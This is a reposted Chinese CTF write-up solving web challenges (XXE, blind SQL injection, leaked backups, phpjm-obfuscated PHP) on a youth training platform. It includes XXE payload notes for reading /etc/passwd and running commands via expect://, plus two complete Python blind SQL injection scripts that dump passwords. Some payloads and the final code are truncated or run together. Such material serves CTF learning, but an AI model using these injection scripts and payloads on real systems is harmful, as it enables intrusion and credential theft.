小工具知识网

当前位置: 首页 > 行业知识 > [青少年CTF训练平台]web部分题解(已完结!)

行业知识

[青少年CTF训练平台]web部分题解(已完结!)

2026-11-01 11:32:57 来源:互联网转载

文章管理系统

首先打开环境(>ω ]>&xxe;/* 1.读取任意文件file 协议,file:///etc//passwdphp 协议,php://filter/read=convert.base64-encode/resource=index.php2.执行系统命令PHP环境中PHP的expect模块被加载expect://ipconfig3.内网探测http://192.168.0.128:80参见:https://xz.aliyun.com/t/3357#toc-11*/

首先修改http后的代码,触发bug:

GET /simplexml_load_string.php HTTP/1.1

然后带入下边的一把梭的本题代码:

 ]>&xxe;

得到flag:

qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964}

bp操作的两步记得分开进行,先触发bug,再一把梭,不然可能无回响哦。。。。

Easy_SQLi

打开环境看了一下,只有类似弱口令这样子的login端口,但是题目却叫做sqli,一时间我没找到类似于:“id=1”一类的keyword,所以呢还是先尝试弱口令:

ok,打开bp

选择类似图中绿色块中用“§”修改,分别爆破,我这里没有使用混合爆破,主要是因为自己的老年电脑实在算不动混合爆破的数字量,这里我算出来的答案是“admin”和“123456”。

因为我这里是边做边写wp,所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化,也就是有没有加入弱口令的动态密码,所以,请师傅不要直接复制粘贴密码,按着操作来一遍,效果一致^_^。

这里可以使用自己的密码本,如果有新师傅没有密码本可以私信给我,我给师傅们发我的密码本

登陆成功!

接下来复制url放进脚本,这里送两个类型题脚本,可以根据自己电脑情况选择:

格式:登陆界面url+/login.php

脚本1:(吃配置,快)

import requestsimport timeurl = ""#网站放这里flag = ""for num in range(1,100):    for i in range(33,127) :        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}        res = requests.post(url = url, data = data)        time.sleep(0.05)        if res.text == "Login successful" :            flag += chr(i)            breakprint(flag)        

脚本2:(不吃配置,慢慢破)‘

import requests url = ''#这里放urlres = "" for i in range(1, 48, 1):    for j in range(32, 128, 1):        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"        data = {            'uname': "admin' and "+payload,            'psw':123456        }        try:            r = requests.post(url=url, data=data,timeout=0.2)        except Exception as e:            continue         res += chr(j)        print(res)        break

 得到flag:

qsnctf{145435737e6c460abcab2d93e2d46c7d}

雏形系统

打开环境后映入眼帘的是登陆系统,那就像之前一样考虑sql 以及弱口令:

结果折腾半天啥也没有,这是一个可修改的界面,那没办法了试一试dirsearch扫描:

kali启动!

dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url

扫描到了www.zip

那可以直接打开了:

解压以后出现两个文件,看过以后robots.txt里边没东西,直接打开“qsnctf.php”就可以了

qsnctf.php

                Login Page            body {            font-family: Arial, sans-serif;            background-color: #f0f0f0;            padding: 20px;        }        .container {            max-width: 400px;            margin: 0 auto;            background-color: #fff;            padding: 20px;            border-radius: 5px;            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);        }        .alert {            padding: 10px;            background-color: #f8d7da;            color: #721c24;            border-radius: 5px;            margin-bottom: 10px;        }        form {            margin-bottom: 20px;        }        form input[type="text"],        form input[type="password"],        form input[type="submit"] {            width: 100%;            padding: 10px;            margin-bottom: 10px;            border: 1px solid #ccc;            border-radius: 3px;        }        form input[type="submit"] {            background-color: #007bff;            color: #fff;            border: none;            cursor: pointer;        }        

Welcome to the login testing page!


审计完以后,去掉无用的图层一系列代码,剩下用的就是

    

大眼一看混淆,考的还挺新的,给大家送一个博客,我只讲这题。。。0.0“奇安信攻防社区-phpjm混淆解密浅谈”

(2024.3.8笔者随笔:还是补充一下吧,这道题用到的是phpjm的混淆内容还原,大致操作步骤理解为看到下边类似qsnctf.php文件类型的代码,需要你还原一下原来的代码长什么样子,具体操作方法有三个“手动结混淆”,“debug解混淆”,“编写脚本”。编写的脚本在上边的博客中。)

先把qsnctf.php的eval改成echo

 

得出这个乱七八糟的东西:

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

替换echo后边的:

 

这样就得到了源码,长这样:



上一篇:揭秘MVC 3.0源码深度解析,架构机制大揭秘!

下一篇:Erlang源码获取指南,一键下载,开启你的Erlang编程之旅!